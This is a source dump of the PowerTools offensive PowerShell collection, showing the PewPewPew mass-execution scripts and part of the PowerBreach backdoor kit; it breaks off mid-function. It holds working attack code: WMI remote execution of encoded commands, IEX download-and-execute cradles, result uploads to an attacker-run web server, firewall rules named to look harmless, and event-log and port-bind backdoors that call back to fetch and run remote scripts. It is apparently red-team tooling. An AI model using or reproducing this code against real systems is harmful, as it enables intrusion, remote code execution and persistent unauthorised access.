├── LICENSE ├── PewPewPew ├── Invoke-MassCommand.ps1 ├── Invoke-MassMimikatz.ps1 ├── Invoke-MassSearch.ps1 ├── Invoke-MassTemplate.ps1 ├── Invoke-MassTokens.ps1 └── README.md ├── PowerBreach ├── PowerBreach.ps1 ├── README.md ├── changelog └── sendtrigger.py ├── PowerPick ├── .DS_Store ├── PSInjector │ ├── CurrentDLLs │ │ ├── .DS_Store │ │ ├── ReflectivePick_x64.dll │ │ ├── ReflectivePick_x64.dll.enc │ │ ├── ReflectivePick_x86.dll │ │ └── ReflectivePick_x86.dll.enc │ ├── DLLEnc.ps1 │ └── PSInject.ps1 ├── PowerPick.sdf ├── PowerPick.sln ├── README.md ├── ReflectivePick │ ├── .DS_Store │ ├── PowerShellRunnerDll.h │ ├── ReflectiveDLLInjection.h │ ├── ReflectiveLoader.c │ ├── ReflectiveLoader.h │ ├── ReflectivePick.cpp │ ├── ReflectivePick.h │ ├── ReflectivePick.vcxproj │ ├── ReflectivePick.vcxproj.filters │ ├── ReflectivePick.vcxproj.user │ ├── dllmain.cpp │ ├── stdafx.cpp │ ├── stdafx.h │ └── targetver.h ├── SharpPick │ ├── .DS_Store │ ├── Program.cs │ ├── Properties │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ └── Resources.resx │ ├── SharpPick.csproj │ └── SharpPick.csproj.user └── bin │ └── .DS_Store ├── PowerUp ├── PowerUp.ps1 ├── PowerUp.psd1 ├── PowerUp.psm1 └── README.md ├── PowerView ├── LICENSE ├── README.md ├── functions │ ├── Get-Net.ps1 │ ├── Get-NetLoggedon.ps1 │ ├── Get-NetSessions.ps1 │ ├── Get-NetShare.ps1 │ ├── Invoke-Netview.ps1 │ ├── Invoke-ShareFinder.ps1 │ └── Invoke-UserHunter.ps1 ├── powerview.ps1 ├── powerview.psd1 └── powerview.psm1 └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | PowerTools is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2014, Will Schroeder 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | 10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 15 | 16 | -------------------------------------------------------------------------------- /PewPewPew/Invoke-MassCommand.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Template to mass-run a specific command across 3 | multiple machines using WMI and retrieve the results 4 | using a local web server. 5 | 6 | by @harmj0y 7 | #> 8 | 9 | 10 | function Invoke-MassCommand { 11 | <# 12 | .SYNOPSIS 13 | Uses WMI and a local web server to mass-run a command 14 | across multiple machines. 15 | 16 | .PARAMETER Hosts 17 | Array of host names to run Invoke-MassCommand on. 18 | 19 | .PARAMETER HostList 20 | List of host names to run Invoke-MassCommand on. 21 | 22 | .PARAMETER Command 23 | PowerShell one-liner command to run. 24 | 25 | .PARAMETER LocalIpAddress 26 | Local IP address to use. Will try to determine if not specified. 27 | 28 | .PARAMETER LocalPort 29 | Local port to host the script on, defaults to 8080 30 | 31 | .PARAMETER ServerSleep 32 | Time to sleep the web server for output before shutting it down. 33 | Default to 30 seconds. 34 | 35 | .PARAMETER OutputFolder 36 | Folder to pipe host outputs to. 37 | 38 | .PARAMETER FireWallRule 39 | Add (and then remove) a firewall rule to allow access to the 40 | specified port. 41 | #> 42 | [cmdletbinding()] 43 | param( 44 | [Parameter(Position=0,ValueFromPipeline=$true)] 45 | [String[]] 46 | $Hosts, 47 | 48 | [String] 49 | $HostList, 50 | 51 | [String] 52 | $Command = "dir C:\", 53 | 54 | [String] 55 | $LocalIpAddress, 56 | 57 | [String] 58 | $LocalPort="8080", 59 | 60 | [Int] 61 | $ServerSleep=30, 62 | 63 | [String] 64 | $OutputFolder="CommandOutput", 65 | 66 | [Switch] 67 | $FireWallRule 68 | ) 69 | 70 | begin { 71 | 72 | # script block to invoke over remote machines. 73 | $WebserverScriptblock={ 74 | param($LocalPort, $OutputFolder) 75 | 76 | # webserver stub adapted from @obscuresec: 77 | # https://gist.github.com/obscuresec/71df69d828e6e05986e9#file-dirtywebserver-ps1 78 | $Hso = New-Object Net.HttpListener 79 | $Hso.Prefixes.Add("http://+:$LocalPort/") 80 | $Hso.Start() 81 | 82 | while ($Hso.IsListening) { 83 | $HC = $Hso.GetContext() 84 | $OriginatingIP = $HC.Request.UserHostAddress 85 | $HRes = $HC.Response 86 | $HRes.Headers.Add("Content-Type","text/plain") 87 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 88 | 89 | # process any GET requests 90 | if( $HC.Request.RawUrl -eq "/"){ 91 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 92 | } 93 | # process any POST results from the invoked script 94 | else { 95 | # extract the hostname from the URI request 96 | $hostname = $HC.Request.RawUrl.split("/")[-1] 97 | 98 | $output = "" 99 | $size = $HC.Request.ContentLength64 + 1 100 | 101 | $buffer = New-Object byte[] $size 102 | do { 103 | $count = $HC.Request.InputStream.Read($buffer, 0, $size) 104 | $output += $HC.Request.ContentEncoding.GetString($buffer, 0, $count) 105 | } until($count -lt $size) 106 | $HC.Request.InputStream.Close() 107 | 108 | if (($output) -and ($output.Length -ne 0)){ 109 | $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($output)) 110 | 111 | $OutFile = $OutputFolder + "\$($hostname).txt" 112 | 113 | $decoded | Out-File -Append -Encoding ASCII -FilePath $OutFile 114 | } 115 | } 116 | $HRes.ContentLength64 = $Buf.Length 117 | $HRes.OutputStream.Write($Buf,0,$Buf.Length) 118 | $HRes.Close() 119 | } 120 | } 121 | 122 | if($HostList){ 123 | if (Test-Path -Path $HostList){ 124 | $Hosts += Get-Content -Path $HostList 125 | } 126 | else { 127 | Write-Warning "[!] Input file '$HostList' doesn't exist!" 128 | } 129 | } 130 | 131 | # if the output file isn't a full path, append the current location to it 132 | if(-not ($OutputFolder.Contains("\"))){ 133 | $OutputFolder = (Get-Location).Path + "\" + $OutputFolder 134 | } 135 | 136 | # create the output folder if it doesn't exist 137 | New-Item -Force -ItemType directory -Path $OutputFolder | Out-Null 138 | 139 | # add a temporary firewall rule if specified 140 | if($FireWallRule){ 141 | Write-Verbose "Setting inbound firewall rule for port $LocalPort" 142 | $fw = New-Object -ComObject hnetcfg.fwpolicy2 143 | $rule = New-Object -ComObject HNetCfg.FWRule 144 | $rule.Name = "Updater32" 145 | $rule.Protocol = 6 146 | $rule.LocalPorts = $LocalPort 147 | $rule.Direction = 1 148 | $rule.Enabled=$true 149 | $rule.Grouping="@firewallapi.dll,-23255" 150 | $rule.Profiles = 7 151 | $rule.Action=1 152 | $rule.EdgeTraversal=$false 153 | $fw.Rules.Add($rule) 154 | } 155 | 156 | Start-Job -Name WebServer -Scriptblock $WebserverScriptblock -ArgumentList $LocalPort,$OutputFolder | Out-Null 157 | Write-Verbose "Sleeping, letting the web server stand up..." 158 | Start-Sleep -s 5 159 | } 160 | 161 | process { 162 | 163 | if(-not $LocalIpAddress){ 164 | $LocalIpAddress = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -ne $null}).ipaddress[0] 165 | } 166 | 167 | $hosts | % { 168 | # the download/check back in command 169 | $LauncherCommand = "$Command | % {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$_))} | % {(new-object net.webclient).UploadString('http://"+$LocalIpAddress+":$LocalPort/$_', `$_)}" 170 | $bytes = [Text.Encoding]::Unicode.GetBytes($LauncherCommand) 171 | $encodedCommand = [Convert]::ToBase64String($bytes) 172 | 173 | Write-Verbose "Executing command on host `"$_`"" 174 | Invoke-WmiMethod -ComputerName $_ -Path Win32_process -Name create -ArgumentList "powershell.exe -enc $encodedCommand" | out-null 175 | } 176 | } 177 | 178 | end { 179 | 180 | Write-Verbose "Waiting $ServerSleep seconds for commands to trigger..." 181 | Start-Sleep -s $ServerSleep 182 | 183 | # perform any post-processing on the output files... 184 | Get-ChildItem $OutputFolder -Filter *.txt | 185 | foreach-object { 186 | $server = $_.Name.split(".")[0] 187 | $rawtext = [Io.File]::ReadAllText($_.FullName) 188 | # ... 189 | } 190 | 191 | # remove the firewall rule if specified 192 | if($FireWallRule){ 193 | Write-Verbose "Removing inbound firewall rule" 194 | $fw.rules.Remove("Updater32") 195 | } 196 | 197 | Write-Verbose "Killing the web server" 198 | Get-Job -Name WebServer | Stop-Job 199 | } 200 | } 201 | -------------------------------------------------------------------------------- /PewPewPew/Invoke-MassTemplate.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Template to mass-run a specific powershell script 3 | across multiple machines using a local web server 4 | and WMI execution. 5 | 6 | Replace "" with the script you 7 | want run. 8 | 9 | by @harmj0y 10 | #> 11 | 12 | 13 | function Invoke-MassTemplate { 14 | <# 15 | .SYNOPSIS 16 | ... 17 | 18 | .PARAMETER Hosts 19 | Array of host names to run Invoke-X on. 20 | 21 | .PARAMETER HostList 22 | List of host names to run Invoke-X on. 23 | 24 | .PARAMETER LocalIpAddress 25 | Local IP address to use. Will try to determine if not specified. 26 | 27 | .PARAMETER LocalPort 28 | Local port to host the script on, defaults to 8080 29 | 30 | .PARAMETER ServerSleep 31 | Time to sleep the web server for output before shutting it down. 32 | Default to 30 seconds. 33 | 34 | .PARAMETER OutputFolder 35 | Folder to pipe host outputs to. 36 | 37 | .PARAMETER FireWallRule 38 | Add (and then remove) a firewall rule to allow access to the 39 | specified port. 40 | #> 41 | [cmdletbinding()] 42 | param( 43 | [Parameter(Position=0,ValueFromPipeline=$true)] 44 | [String[]] 45 | $Hosts, 46 | 47 | [String] 48 | $HostList, 49 | 50 | [String] 51 | $LocalIpAddress, 52 | 53 | [String] 54 | $LocalPort="8080", 55 | 56 | [Int] 57 | $ServerSleep=30, 58 | 59 | [String] 60 | $OutputFolder="output", 61 | 62 | [Switch] 63 | $FireWallRule 64 | ) 65 | 66 | 67 | begin { 68 | 69 | # script block to invoke over remote machines. 70 | $WebserverScriptblock={ 71 | param($LocalPort, $OutputFolder) 72 | 73 | $HostedScript = 74 | @' 75 | 76 | 77 | 78 | '@ 79 | 80 | # webserver stub adapted from @obscuresec: 81 | # https://gist.github.com/obscuresec/71df69d828e6e05986e9#file-dirtywebserver-ps1 82 | $Hso = New-Object Net.HttpListener 83 | $Hso.Prefixes.Add("http://+:$LocalPort/") 84 | $Hso.Start() 85 | 86 | while ($Hso.IsListening) { 87 | $HC = $Hso.GetContext() 88 | $OriginatingIP = $HC.Request.UserHostAddress 89 | $HRes = $HC.Response 90 | $HRes.Headers.Add("Content-Type","text/plain") 91 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 92 | 93 | # process any GET requests 94 | if( $HC.Request.RawUrl -eq "/update"){ 95 | $Buf = [Text.Encoding]::UTF8.GetBytes($HostedScript) 96 | } 97 | elseif( $HC.Request.RawUrl -eq "/"){ 98 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 99 | } 100 | # process any POST results from the invoked script 101 | else { 102 | # extract the hostname from the URI request 103 | $hostname = $HC.Request.RawUrl.split("/")[-1] 104 | 105 | $output = "" 106 | $size = $HC.Request.ContentLength64 + 1 107 | 108 | $buffer = New-Object byte[] $size 109 | do { 110 | $count = $HC.Request.InputStream.Read($buffer, 0, $size) 111 | $output += $HC.Request.ContentEncoding.GetString($buffer, 0, $count) 112 | } until($count -lt $size) 113 | $HC.Request.InputStream.Close() 114 | 115 | if (($output) -and ($output.Length -ne 0)){ 116 | $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($output)) 117 | 118 | $OutFile = $OutputFolder + "\$($hostname).txt" 119 | 120 | $decoded | Out-File -Append -Encoding ASCII -FilePath $OutFile 121 | } 122 | } 123 | $HRes.ContentLength64 = $Buf.Length 124 | $HRes.OutputStream.Write($Buf,0,$Buf.Length) 125 | $HRes.Close() 126 | } 127 | } 128 | 129 | if($HostList){ 130 | if (Test-Path -Path $HostList){ 131 | $Hosts += Get-Content -Path $HostList 132 | } 133 | else { 134 | Write-Warning "[!] Input file '$HostList' doesn't exist!" 135 | } 136 | } 137 | 138 | # if the output file isn't a full path, append the current location to it 139 | if(-not ($OutputFolder.Contains("\"))){ 140 | $OutputFolder = (Get-Location).Path + "\" + $OutputFolder 141 | } 142 | 143 | # create the output folder if it doesn't exist 144 | New-Item -Force -ItemType directory -Path $OutputFolder | Out-Null 145 | 146 | # add a temporary firewall rule if specified 147 | if($FireWallRule){ 148 | Write-Verbose "Setting inbound firewall rule for port $LocalPort" 149 | $fw = New-Object -ComObject hnetcfg.fwpolicy2 150 | $rule = New-Object -ComObject HNetCfg.FWRule 151 | $rule.Name = "Updater32" 152 | $rule.Protocol = 6 153 | $rule.LocalPorts = $LocalPort 154 | $rule.Direction = 1 155 | $rule.Enabled=$true 156 | $rule.Grouping="@firewallapi.dll,-23255" 157 | $rule.Profiles = 7 158 | $rule.Action=1 159 | $rule.EdgeTraversal=$false 160 | $fw.Rules.Add($rule) 161 | } 162 | 163 | Start-Job -Name WebServer -Scriptblock $WebserverScriptblock -ArgumentList $LocalPort,$OutputFolder | Out-Null 164 | Write-Verbose "Sleeping, letting the web server stand up..." 165 | Start-Sleep -s 5 166 | } 167 | 168 | process { 169 | 170 | if(-not $LocalIpAddress){ 171 | $p = (gwmi Win32_NetworkAdapterConfiguration| Where{$_.IPAddress} | Select -Expand IPAddress); 172 | # check if the IP is a string or the [IPv4,IPv6] array 173 | $LocalIpAddress = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; 174 | } 175 | 176 | $hosts | % { 177 | # the download/check back in command 178 | $command = "IEX (New-Object Net.Webclient).DownloadString('http://"+$LocalIpAddress+":$LocalPort/update') | % {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$_))} | % {(new-object net.webclient).UploadString('http://"+$LocalIpAddress+":$LocalPort/$_', `$_)}" 179 | $bytes = [Text.Encoding]::Unicode.GetBytes($command) 180 | $encodedCommand = [Convert]::ToBase64String($bytes) 181 | 182 | Write-Verbose "Executing command on host `"$_`"" 183 | Invoke-WmiMethod -ComputerName $_ -Path Win32_process -Name create -ArgumentList "powershell.exe -enc $encodedCommand" | out-null 184 | } 185 | } 186 | 187 | end { 188 | 189 | Write-Verbose "Waiting $ServerSleep seconds for commands to trigger..." 190 | Start-Sleep -s $ServerSleep 191 | 192 | # perform any post-processing on the output files... 193 | Get-ChildItem $OutputFolder -Filter *.txt | 194 | foreach-object { 195 | $server = $_.Name.split(".")[0] 196 | $rawtext = [Io.File]::ReadAllText($_.FullName) 197 | # ... 198 | } 199 | 200 | # remove the firewall rule if specified 201 | if($FireWallRule){ 202 | Write-Verbose "Removing inbound firewall rule" 203 | $fw.rules.Remove("Updater32") 204 | } 205 | 206 | Write-Verbose "Killing the web server" 207 | Get-Job -Name WebServer | Stop-Job 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /PewPewPew/README.md: -------------------------------------------------------------------------------- 1 | #PewPewPew 2 | 3 | This repo contains scripts that utilize a common pattern to host a script 4 | on a PowerShell webserver, invoke the IEX download cradle to 5 | download/execute the target code and post the results back to the server, 6 | and then post-process any results. 7 | 8 | More details [here](http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/) 9 | 10 | Developed by [@harmj0y](https://twitter.com/harmj0y) 11 | 12 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 13 | -------------------------------------------------------------------------------- /PowerBreach/PowerBreach.ps1: -------------------------------------------------------------------------------- 1 | ################################################################################### 2 | # Name: PowerBreach 3 | # Author: @sixdub (sixdub.net) 4 | # Tested on: Windows 7 5 | # Description: PowerBreach is a backdoor kit to provide a large variety of non 6 | # persistent backdoors to remain resident on systems. PowerBreach is 7 | # apart of the Veil PowerTools collection and can be combined with 8 | # other PowerTools. 9 | # License: 3 Clause BSD License (see README.md) 10 | ################################################################################### 11 | 12 | function Invoke-CallbackIEX 13 | { 14 | <# 15 | .SYNOPSIS 16 | HELPER FUNCTION. Used to callback to C2 and execute script 17 | .DESCRIPTION 18 | Used to initiate a callback to a defined node and request a resource. The resource is then decoded and executed as a powershell script. There are many methods for callbacks. 19 | Admin Reqd? No 20 | Firewall Hole Reqd? No 21 | .PARAMETER CallbackURI 22 | The URI Address of the host to callback to. 23 | The accepted protocols are: HTTP, HTTPS, BITS 24 | .PARAMETER BitsTempFile 25 | The path to place a file on disk temporarily when BITS is the chosen method. Default is "%USERTEMP%\ps_conf.cfg". 26 | #> 27 | Param( 28 | [Parameter(Mandatory=$True,Position=1)] 29 | [string]$CallbackURI 30 | ) 31 | 32 | #if you have a place to call home too... 33 | if($CallbackURI) 34 | { 35 | try 36 | { 37 | 38 | #Parse some information from URI just in case we need it 39 | $parts = $CallbackURI -Split '://' 40 | $protocol=$parts[0].ToLower() 41 | $server=(($parts[1] -split "/")[0] -split ":")[0] 42 | $port=(($parts[1] -split "/")[0] -split ":")[1] 43 | 44 | Write-Verbose "URI: $CallbackURI" 45 | Write-Verbose "Protocol: $protocol" 46 | Write-Verbose "Server: $server" 47 | Write-Verbose "Port: $port" 48 | 49 | #HTTP Method 50 | if ($protocol -eq "http") 51 | { 52 | #Set the url 53 | Write-Verbose "Calling home with http to: $CallbackURI" 54 | #download string from the URL 55 | $enc = (New-Object net.webclient).downloadstring($CallbackURI) 56 | } 57 | #HTTPS Method 58 | elseif ($protocol -eq "https") 59 | { 60 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} 61 | Write-Verbose "Calling home with https to: $CallbackURI" 62 | #download string from the URL with HTTPS 63 | $enc = (New-Object net.webclient).downloadstring($CallbackURI) 64 | } 65 | #SINGLE LINE DNS TXT RECORD 66 | elseif ($protocol -eq "dnstxt") 67 | { 68 | Write-Verbose "Calling home with dnstxt to: $server" 69 | $enc = (nslookup -querytype=txt $server | Select-String -Pattern '"*"') -split '"'[0] 70 | } 71 | else 72 | { 73 | Write-Error "Error: Improper protocol?" 74 | return $False 75 | } 76 | 77 | #Check to make sure something got downloaded, if so, decode it and 78 | if ($enc) 79 | { 80 | #decode the string 81 | $b = [System.Convert]::FromBase64String($enc) 82 | $dec = [System.Text.Encoding]::UTF8.GetString($b) 83 | #execute script 84 | iex($dec) 85 | } 86 | else 87 | { 88 | Write-Error "Error: No Data Downloaded" 89 | return $False 90 | } 91 | } 92 | catch [System.Net.WebException]{ 93 | Write-Error "Error: Network Callback failed" 94 | return $False 95 | } 96 | catch [System.FormatException]{ 97 | Write-Error "Error: Base64 Format Problem" 98 | return $False 99 | } 100 | catch [System.Exception]{ 101 | Write-Error "Error: Uknown problem during transfer" 102 | #$_.Exception | gm 103 | return $False 104 | } 105 | } 106 | else 107 | { 108 | Write-Error "No host specified for the phone home :(" 109 | return $False 110 | } 111 | 112 | return $True 113 | } 114 | 115 | function Add-PSFirewallRules 116 | { 117 | <# 118 | .SYNOPSIS 119 | Used to open a hole in the firewall to allow Powershell to communicate 120 | .DESCRIPTION 121 | Opens 4 rules in the firewall, 2 for each direction. Allows TCP and UDP communications on ports 1-65000. This will hopefully prevent popups from displaying to interactive user. 122 | Admin Reqd? Yes 123 | Firewall Hole Reqd? No 124 | .PARAMETER RuleName 125 | The name of the rule to be added to the firewall. This should be stealthy. Default="Windows Powershell" 126 | .PARAMETER ExePath 127 | The program to allow through the filewall. Default="C:\windows\system32\windowspowershell\v1.0\powershell.exe" 128 | .PARAMETER Ports 129 | The ports to allow communications on. Default="1-65000" 130 | #> 131 | Param( 132 | [Parameter(Mandatory=$False,Position=1)] 133 | [string]$RuleName="Windows Powershell", 134 | [Parameter(Mandatory=$False,Position=2)] 135 | [string]$ExePath="$PSHome\powershell.exe", 136 | [Parameter(Mandatory=$False,Position=3)] 137 | [string]$Ports="1-65000" 138 | ) 139 | 140 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 141 | { 142 | Write-Error "This command requires Admin :(... get to work! " 143 | Return 0 144 | } 145 | 146 | #Rule 1, TCP, Outbound 147 | $fw = New-Object -ComObject hnetcfg.fwpolicy2 148 | $rule = New-Object -ComObject HNetCfg.FWRule 149 | $rule.Name = $RuleName 150 | $rule.ApplicationName=$ExePath 151 | $rule.Protocol = 6 152 | $rule.LocalPorts = $Ports 153 | $rule.Direction = 2 154 | $rule.Enabled=$True 155 | $rule.Grouping="@firewallapi.dll,-23255" 156 | $rule.Profiles = 7 157 | $rule.Action=1 158 | $rule.EdgeTraversal=$False 159 | $fw.Rules.Add($rule) 160 | 161 | #Rule 2, UDP Outbound 162 | $rule = New-Object -ComObject HNetCfg.FWRule 163 | $rule.Name = $RuleName 164 | $rule.ApplicationName=$ExePath 165 | $rule.Protocol = 17 166 | $rule.LocalPorts = $Ports 167 | $rule.Direction = 2 168 | $rule.Enabled=$True 169 | $rule.Grouping="@firewallapi.dll,-23255" 170 | $rule.Profiles = 7 171 | $rule.Action=1 172 | $rule.EdgeTraversal=$False 173 | $fw.Rules.Add($rule) 174 | 175 | #Rule 3, TCP Inbound 176 | $rule = New-Object -ComObject HNetCfg.FWRule 177 | $rule.Name = $RuleName 178 | $rule.ApplicationName=$ExePath 179 | $rule.Protocol = 6 180 | $rule.LocalPorts = $Ports 181 | $rule.Direction = 1 182 | $rule.Enabled=$True 183 | $rule.Grouping="@firewallapi.dll,-23255" 184 | $rule.Profiles = 7 185 | $rule.Action=1 186 | $rule.EdgeTraversal=$False 187 | $fw.Rules.Add($rule) 188 | 189 | #Rule 4, UDP Inbound 190 | $rule = New-Object -ComObject HNetCfg.FWRule 191 | $rule.Name = $RuleName 192 | $rule.ApplicationName=$ExePath 193 | $rule.Protocol = 17 194 | $rule.LocalPorts = $Ports 195 | $rule.Direction = 1 196 | $rule.Enabled=$True 197 | $rule.Grouping="@firewallapi.dll,-23255" 198 | $rule.Profiles = 7 199 | $rule.Action=1 200 | $rule.EdgeTraversal=$False 201 | $fw.Rules.Add($rule) 202 | 203 | return 1 204 | 205 | } 206 | 207 | function Invoke-EventLogBackdoor 208 | { 209 | <# 210 | .SYNOPSIS 211 | Starts the event-loop backdoor 212 | .DESCRIPTION 213 | The backdoor continually parses the Security event logs. For every entry, it checks to see if the message contains a unique trigger value. If it finds the trigger, it calls back to a predefined IP Address. This backdoor is based on the Shmoocon presentation "Wipe the Drive". See here for more info: XXXXXXXXX 214 | Admin Reqd? Yes 215 | Firewall Hole Reqd? No 216 | .PARAMETER CallbackURI 217 | The URI of the host to callback to 218 | .PARAMETER Trigger 219 | The unique value to look for in every event packet. In the case of RDP, this will be the username you use to attempt a login. Default="HACKER" 220 | .PARAMETER Timeout 221 | A value in seconds to continue running the backdoor. Default=0 (run forever) 222 | .PARAMETER Sleep 223 | The time to sleep in between event log checks. 224 | #> 225 | Param( 226 | [Parameter(Mandatory=$True,Position=1)] 227 | [string]$CallbackURI, 228 | [Parameter(Mandatory=$False,Position=2)] 229 | [string]$Trigger="HACKER", 230 | [Parameter(Mandatory=$False,Position=3)] 231 | [int]$Timeout=0, 232 | [Parameter(Mandatory=$False,Position=4)] 233 | [int]$Sleep=30 234 | ) 235 | 236 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 237 | { 238 | Write-Error "This backdoor requires Admin :(... get to work! " 239 | Return 240 | } 241 | #Output info 242 | Write-Verbose "Timeout: $Timeout" 243 | Write-Verbose "Trigger: $Trigger" 244 | Write-Verbose "CallbackURI: $CallbackURI" 245 | Write-Verbose "Starting backdoor..." 246 | 247 | #initiate loop variables 248 | $running=$True 249 | $match ="" 250 | $starttime = Get-Date 251 | while($running) 252 | { 253 | #check timeout value 254 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 255 | { 256 | $running=$False 257 | } 258 | #grab all events since the last cycle and store their "message" into a variable 259 | $d = Get-Date 260 | $NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String 261 | 262 | #check if the events contain our trigger value 263 | if ($NewEvents -match $Trigger) 264 | { 265 | $running=$False 266 | $match = $CallbackURI 267 | Write-Verbose "Match: $match" 268 | } 269 | while($match) 270 | { 271 | $success = Invoke-CallbackIEX $match 272 | if ($success) 273 | { 274 | return 275 | } 276 | Start-Sleep -s $sleep 277 | } 278 | 279 | Start-Sleep -s $Sleep 280 | } 281 | 282 | } 283 | 284 | function Invoke-PortBindBackdoor 285 | { 286 | <# 287 | .SYNOPSIS 288 | Starts the TCP Port Bind backdoor 289 | .DESCRIPTION 290 | The backdoor opens a TCP port on a specified port. For every connection to the port, it looks for a specified trigger value. When found, it initiates a callback and closes the TCP Port. 291 | Admin Reqd? No 292 | Firewall Hole Reqd? Yes 293 | .PARAMETER CallbackURI 294 | The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it. 295 | .PARAMETER LocalIP 296 | The interface to bind the TCP port to. By default, the script will use the default GW to determine this value. 297 | .PARAMETER Port 298 | The port to bind. Default=4444 299 | .PARAMETER Trigger 300 | The unique value the backdoor is waiting for. Default="QAZWSX123" 301 | .PARAMETER Timeout 302 | The time to run the backdoor. Default=0 (run forever) 303 | .PARAMETER Sleep 304 | The time to sleep in between event log checks. 305 | .PARAMETER AddFWRules 306 | Whether or not to add the firewall rules automatically. 307 | #> 308 | Param( 309 | [Parameter(Mandatory=$False,Position=1)] 310 | [string]$CallbackURI, 311 | [Parameter(Mandatory=$False,Position=2)] 312 | [string]$LocalIP, 313 | [Parameter(Mandatory=$False,Position=3)] 314 | [int]$Port=4444, 315 | [Parameter(Mandatory=$False,Position=4)] 316 | [string]$Trigger="QAZWSX123", 317 | [Parameter(Mandatory=$False,Position=5)] 318 | [int]$Timeout=0, 319 | [Parameter(Mandatory=$False,Position=6)] 320 | [int] $Sleep=30, 321 | [Parameter(Mandatory=$False,Position=7)] 322 | [switch] $AddFWRules=$False 323 | ) 324 | 325 | if ($AddFWRules) 326 | { 327 | Write-Verbose "Adding FW Exception" 328 | $FWSuccess = Add-PSFirewallRules 329 | if($FWSuccess) 330 | { 331 | Write-Verbose "FW Exception Added" 332 | } 333 | else 334 | { 335 | Write-Verbose "FW Exception Failed... Quitting" 336 | Return 0 337 | } 338 | } 339 | else 340 | { 341 | Write-Verbose "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!" 342 | } 343 | 344 | # try to figure out which IP address to bind to by looking at the default route 345 | if (-not $LocalIP) 346 | { 347 | route print 0* | % { 348 | if ($_ -match "\s{2,}0\.0\.0\.0") { 349 | $null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",") 350 | } 351 | } 352 | } 353 | 354 | #output info 355 | Write-Verbose "Timeout: $Timeout" 356 | Write-Verbose "Port: $Port" 357 | Write-Verbose "Trigger: $Trigger" 358 | Write-Verbose "Using IPv4 Address: $LocalIP" 359 | Write-Verbose "CallbackURI: $CallbackURI" 360 | Write-Verbose "Starting backdoor..." 361 | try{ 362 | 363 | #Define and initialize all the networking stuff 364 | $ipendpoint = New-Object system.net.ipendpoint([net.ipaddress]"$localIP",$Port) 365 | $Listener = New-Object System.Net.Sockets.TcpListener $ipendpoint 366 | $Listener.Start() 367 | 368 | #set variables for the loop 369 | $running=$True 370 | $match ="" 371 | $starttime = Get-Date 372 | while($running) 373 | { 374 | #Check for timeout 375 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 376 | { 377 | $running=$False 378 | } 379 | 380 | #If there is a connection pending on the socket 381 | if($Listener.Pending()) 382 | { 383 | #accept the client and define the input stream 384 | $Client = $Listener.AcceptTcpClient() 385 | Write-Verbose "Client Connected!" 386 | $Stream = $Client.GetStream() 387 | $Reader = New-Object System.IO.StreamReader $Stream 388 | 389 | #read one line off the socket 390 | $line = $Reader.ReadLine() 391 | 392 | #check to see if proper trigger value 393 | if ($line -eq $Trigger) 394 | { 395 | $running=$False 396 | $match = ([system.net.ipendpoint] $Client.Client.RemoteEndPoint).Address.ToString() 397 | Write-Verbose "MATCH: $match" 398 | } 399 | 400 | #clean up 401 | $reader.Dispose() 402 | $stream.Dispose() 403 | $Client.Close() 404 | Write-Verbose "Client Disconnected" 405 | } 406 | 